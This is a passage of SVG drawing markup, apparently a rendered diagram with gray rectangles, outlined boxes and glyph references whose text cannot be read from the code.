<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="5.556" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="10.537" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="16.231" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="21.213" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="27.16665" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="33.110337" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="39.063987" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="45.012" y="109.408"/>
  <use xlink:href="#glyph0-2" x="49.9933" y="109.408"/>
  <use xlink:href="#glyph0-1" x="54.9746" y="109.408"/>
  <use xlink:href="#glyph0-1" x="59.9559" y="109.408"/>
  <use xlink:href="#glyph0-1" x="64.9372" y="109.408"/>
  <use xlink:href="#glyph0-3" x="69.9185" y="109.408"/>
  <use xlink:href="#glyph0-1" x="74.8998" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="96.263" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="101.245" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="106.939" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="111.92" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="117.87365" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="123.817337" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="129.770987" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="135.72" y="109.408"/>
  <use xlink:href="#glyph0-2" x="140.7013" y="109.408"/>
  <use xlink:href="#glyph0-1" x="145.6826" y="109.408"/>
  <use xlink:href="#glyph0-1" x="150.6639" y="109.408"/>
  <use xlink:href="#glyph0-1" x="155.6452" y="109.408"/>
  <use xlink:href="#glyph0-4" x="160.6265" y="109.408"/>
  <use xlink:href="#glyph0-1" x="165.6078" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="186.97" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="191.952" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="197.646" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="202.627" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="208.58065" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="214.524337" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="220.477987" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="226.427" y="109.408"/>
  <use xlink:href="#glyph0-2" x="231.4083" y="109.408"/>
  <use xlink:href="#glyph0-1" x="236.3896" y="109.408"/>
  <use xlink:href="#glyph0-1" x="241.3709" y="109.408"/>
  <use xlink:href="#glyph0-1" x="246.3522" y="109.408"/>
  <use xlink:href="#glyph0-5" x="251.3335" y="109.408"/>
  <use xlink:href="#glyph0-1" x="256.3148" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.678" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="282.659" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="288.353" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="293.334" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="299.28765" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="305.231337" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="311.184987" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="317.134" y="109.408"/>
  <use xlink:href="#glyph0-2" x="322.1153" y="109.408"/>
  <use xlink:href="#glyph0-1" x="327.0966" y="109.408"/>
  <use xlink:href="#glyph0-1" x="332.0779" y="109.408"/>
  <use xlink:href="#glyph0-1" x="337.0592" y="109.408"/>
  <use xlink:href="#glyph0-6" x="342.0405" y="109.408"/>
  <use xlink:href="#glyph0-1" x="347.0218" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-7" x="7.672" y="137.755"/>
  <use xlink:href="#glyph0-8" x="11.546455" y="137.755"/>
  <use xlink:href="#glyph0-9" x="16.527755" y="137.755"/>
  <use xlink:href="#glyph0-10" x="22.062976" y="137.755"/>
  <use xlink:href="#glyph0-11" x="27.598196" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-12" x="34.790197" y="137.755"/>
  <use xlink:href="#glyph0-13" x="40.048457" y="137.755"/>
  <use xlink:href="#glyph0-6" x="45.029757" y="137.755"/>
  <use xlink:href="#glyph0-4" x="50.011057" y="137.755"/>
  <use xlink:href="#glyph0-12" x="54.992357" y="137.755"/>
  <use xlink:href="#glyph0-8" x="60.250618" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="68.559426" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="73.536" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="79.23" y="137.755"/>
  <use xlink:href="#glyph0-1" x="84.2113" y="137.755"/>
  <use xlink:href="#glyph0-1" x="89.1926" y="137.755"/>
  <use xlink:href="#glyph0-1" x="94.1739" y="137.755"/>
  <use xlink:href="#glyph0-2" x="99.1552" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="104.136" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="110.08965" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="116.033337" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="121.986987" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="127.936" y="137.755"/>
  <use xlink:href="#glyph0-2" x="132.9173" y="137.755"/>
  <use xlink:href="#glyph0-1" x="137.8986" y="137.755"/>
  <use xlink:href="#glyph0-1" x="142.8799" y="137.755"/>
  <use xlink:href="#glyph0-1" x="147.8612" y="137.755"/>
  <use xlink:href="#glyph0-3" x="152.8425" y="137.755"/>
  <use xlink:href="#glyph0-1" x="157.8238" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="59.482" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="64.463" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="70.157" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="75.138" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="81.09165" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="87.035337" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="92.988987" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="98.938" y="151.928"/>
  <use xlink:href="#glyph0-2" x="103.9193" y="151.928"/>
  <use xlink:href="#glyph0-1" x="108.9006" y="151.928"/>
  <use xlink:href="#glyph0-1" x="113.8819" y="151.928"/>
  <use xlink:href="#glyph0-1" x="118.8632" y="151.928"/>
  <use xlink:href="#glyph0-3" x="123.8445" y="151.928"/>
  <use xlink:href="#glyph0-1" x="128.8258" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-14" x="136.576703" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="175.635" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="180.616" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="186.31" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="191.291" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="197.24465" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="203.188337" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="209.141987" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="215.091" y="151.928"/>
  <use xlink:href="#glyph0-2" x="220.0723" y="151.928"/>
  <use xlink:href="#glyph0-1" x="225.0536" y="151.928"/>
  <use xlink:href="#glyph0-1" x="230.0349" y="151.928"/>
  <use xlink:href="#glyph0-1" x="235.0162" y="151.928"/>
  <use xlink:href="#glyph0-5" x="239.9975" y="151.928"/>
  <use xlink:href="#glyph0-1" x="244.9788" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="266.822" y="152.647"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="271.803" y="152.647"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.497" y="152.647"/>
  <use xlink:href="#glyph0-1" x="282.4783" y="152.647"/>
  <use xlink:href="#glyph0-1" x="287.4596" y="152.647"/>
  <use xlink:href="#glyph0-1" x="292.4409" y="152.647"/>
  <use xlink:href="#glyph0-1" x="297.4222" y="152.647"/>
  <use xlink:href="#glyph0-1" x="302.4035" y="152.647"/>
  <use xlink:href="#glyph0-1" x="307.3848" y="152.647"/>
  <use xlink:href="#glyph0-1" x="312.3661" y="152.647"/>
  <use xlink:href="#glyph0-1" x="317.3474" y="152.647"/>
  <use xlink:href="#glyph0-1" x="322.3287" y="152.647"/>
  <use xlink:href="#glyph0-1" x="327.31" y="152.647"/>
  <use xlink:href="#glyph0-1" x="332.2913" y="152.647"/>
  <use xlink:href="#glyph0-1" x="337.2726" y="152.647"/>
  <use xlink:href="#glyph0-1" x="342.2539" y="152.647"/>
  <use xlink:href="#glyph0-1" x="347.2352" y="152.647"/>
  <use xlink:href="#glyph0-1" x="352.2165" y="152.647"/>
</g>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -63.780563 L 170.08225 -77.952438 L 255.121312 -77.952438 L 255.121312 -63.780563 Z M 170.08225 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g clip-path="url(#clip1)" clip-rule="nonzero">
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -63.780563 L 255.121312 -77.952438 L 368.508031 -77.952438 L 368.508031 -63.780563 Z M 255.121312 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="59.482" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="64.463" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="70.157" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="75.138" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="81.09165" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="87.035337" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="92.988987" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="98.938" y="180.274"/>
  <use xlink:href="#glyph0-2" x="103.9193" y="180.274"/>
  <use xlink:href="#glyph0-1" x="108.9006" y="180.274"/>
  <use xlink:href="#glyph0-1" x="113.8819" y="180.274"/>
  <use xlink:href="#glyph0-1" x="118.8632" y="180.274"/>
  <use xlink:href="#glyph0-4" x="123.8445" y="180.274"/>
  <use xlink:href="#glyph0-1" x="128.8258" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-14" x="136.576703" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="177.925" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="182.906" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="188.6" y="181.243"/>
  <use xlink:href="#glyph0-15" x="193.5813" y="181.243"/>
  <use xlink:href="#glyph0-6" x="198.5626" y="181.243"/>
  <use xlink:href="#glyph0-5" x="203.5439" y="181.243"/>
  <use xlink:href="#glyph0-6" x="208.5252" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-3" x="213.507" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-6" x="217.782" y="181.243"/>
  <use xlink:href="#glyph0-3" x="222.7633" y="181.243"/>
  <use xlink:href="#glyph0-2" x="227.7446" y="181.243"/>
  <use xlink:href="#glyph0-5" x="232.7259" y="181.243"/>
  <use xlink:href="#glyph0-6" x="237.7072" y="181.243"/>
  <use xlink:href="#glyph0-6" x="242.6885" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="266.822" y="180.994"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="271.803" y="180.994"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.497" y="180.994"/>
  <use xlink:href="#glyph0-1" x="282.4783" y="180.994"/>
  <use xlink:href="#glyph0-1" x="287.4596" y="180.994"/>
  <use xlink:href="#glyph0-1" x="292.4409" y="180.994"/>
  <use xlink:href="#glyph0-1" x="297.4222" y="180.994"/>
  <use xlink:href="#glyph0-1" x="302.4035" y="180.994"/>
  <use xlink:href="#glyph0-1" x="307.3848" y="180.994"/>
  <use xlink:href="#glyph0-1" x="312.3661" y="180.994"/>
  <use xlink:href="#glyph0-1" x="317.3474" y="180.994"/>
  <use xlink:href="#glyph0-1" x="322.3287" y="180.994"/>
  <use xlink:href="#glyph0-1" x="327.31" y="180.994"/>
  <use xlink:href="#glyph0-1" x="332.2913" y="180.994"/>
  <use xlink:href="#glyph0-1" x="337.2726" y="180.994"/>
  <use xlink:href="#glyph0-1" x="342.2539" y="180.994"/>
  <use xlink:href="#glyph0-1" x="347.2352" y="180.994"/>
  <use xlink:href="#glyph0-1" x="352.2165" y="180.994"/>
</g>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -92.128219 L 170.08225 -106.300094 L 255.121312 -106.300094 L 255.121312 -92.128219 Z M 170.08225 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g clip-path="url(#clip2)" clip-rule="nonzero">
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -92.128219 L 255.121312 -106.300094 L 368.508031 -106.300094 L 368.508031 -92.128219 Z M 255.121312 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="59.482" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="64.463" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="70.157" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="75.138" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="81.09165" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="87.035337" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="92.988987" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="98.938" y="208.621"/>
  <use xlink:href="#glyph0-2" x="103.9193" y="208.621"/>
  <use xlink:href="#glyph0-1" x="108.9006" y="208.621"/>
  <use xlink:href="#glyph0-1" x="113.8819" y="208.621"/>
  <use xlink:href="#glyph0-1" x="118.8632" y="208.621"/>
  <use xlink:href="#glyph0-5" x="123.8445" y="208.621"/>
  <use xlink:href="#glyph0-1" x="128.8258" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-14" x="136.576703" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="175.635" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="180.616" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="186.31" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="191.291" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="197.24465" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="203.188337" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="209.141987" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="215.091" y="208.621"/>
  <use xlink:href="#glyph0-2" x="220.0723" y="208.621"/>
  <use xlink:href="#glyph0-1" x="225.0536" y="208.621"/>
  <use xlink:href="#glyph0-1" x="230.0349" y="208.621"/>
  <use xlink:href="#glyph0-1" x="235.0162" y="208.621"/>
  <use xlink:href="#glyph0-6" x="239.9975" y="208.621"/>
  <use xlink:href="#glyph0-1" x="244.9788" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="266.822" y="209.34"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="271.803" y="209.34"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.497" y="209.34"/>
  <use xlink:href="#glyph0-1" x="282.4783" y="209.34"/>
  <use xlink:href="#glyph0-1" x="287.4596" y="209.34"/>
  <use xlink:href="#glyph0-1" x="292.4409" y="209.34"/>
  <use xlink:href="#glyph0-1" x="297.4222" y="209.34"/>
  <use xlink:href="#glyph0-1" x="302.4035" y="209.34"/>
  <use xlink:href="#glyph0-1" x="307.3848" y="209.34"/>
  <use xlink:href="#glyph0-1" x="312.3661" y="209.34"/>
  <use xlink:href="#glyph0-1" x="317.3474" y="209.34"/>
  <use xlink:href="#glyph0-1" x="322.3287" y="209.34"/>
  <use xlink:href="#glyph0-1" x="327.31" y="209.34"/>
  <use xlink:href="#glyph0-1" x="332.2913" y="209.34"/>
  <use xlink:href="#glyph0-1" x="337.2726" y="209.34"/>
  <use xlink:href="#glyph0-1" x="342.2539" y="209.34"/>
  <use xlink:href="#glyph0-1" x="347.2352" y="209.34"/>
  <use xlink:href="#glyph0-1" x="352.2165" y="209.34"/>
</g>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -120.471969 L 170.08225 -134.64775 L 255.121312 -134.64775 L 255.121312 -120.471969 Z M 170.08225 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g clip-path="url(#clip3)" clip-rule="nonzero">
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -120.471969 L 255.121312 -134.64775 L 368.508031 -134.64775 L 368.508031 -120.471969 Z M 255.121312 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="59.482" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="64.463" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="70.157" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="75.138" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="81.09165" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="87.035337" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="92.988987" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="98.938" y="236.967"/>
  <use xlink:href="#glyph0-2" x="103.9193" y="236.967"/>
  <use xlink:href="#glyph0-1" x="108.9006" y="236.967"/>
  <use xlink:href="#glyph0-1" x="113.8819" y="236.967"/>
  <use xlink:href="#glyph0-1" x="118.8632" y="236.967"/>
  <use xlink:href="#glyph0-6" x="123.8445" y="236.967"/>
  <use xlink:href="#glyph0-1" x="128.8258" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-14" x="136.576703" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="175.635" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="180.616" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="186.31" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="191.291" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="197.24465" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="203.188337" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="209.141987" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="215.091" y="236.967"/>
  <use xlink:href="#glyph0-2" x="220.0723" y="236.967"/>
  <use xlink:href="#glyph0-1" x="225.0536" y="236.967"/>
  <use xlink:href="#glyph0-1" x="230.0349" y="236.967"/>
  <use xlink:href="#glyph0-1" x="235.0162" y="236.967"/>
  <use xlink:href="#glyph0-2" x="239.9975" y="236.967"/>
  <use xlink:href="#glyph0-1" x="244.9788" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="266.822" y="237.687"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="271.803" y="237.687"/>
</g>
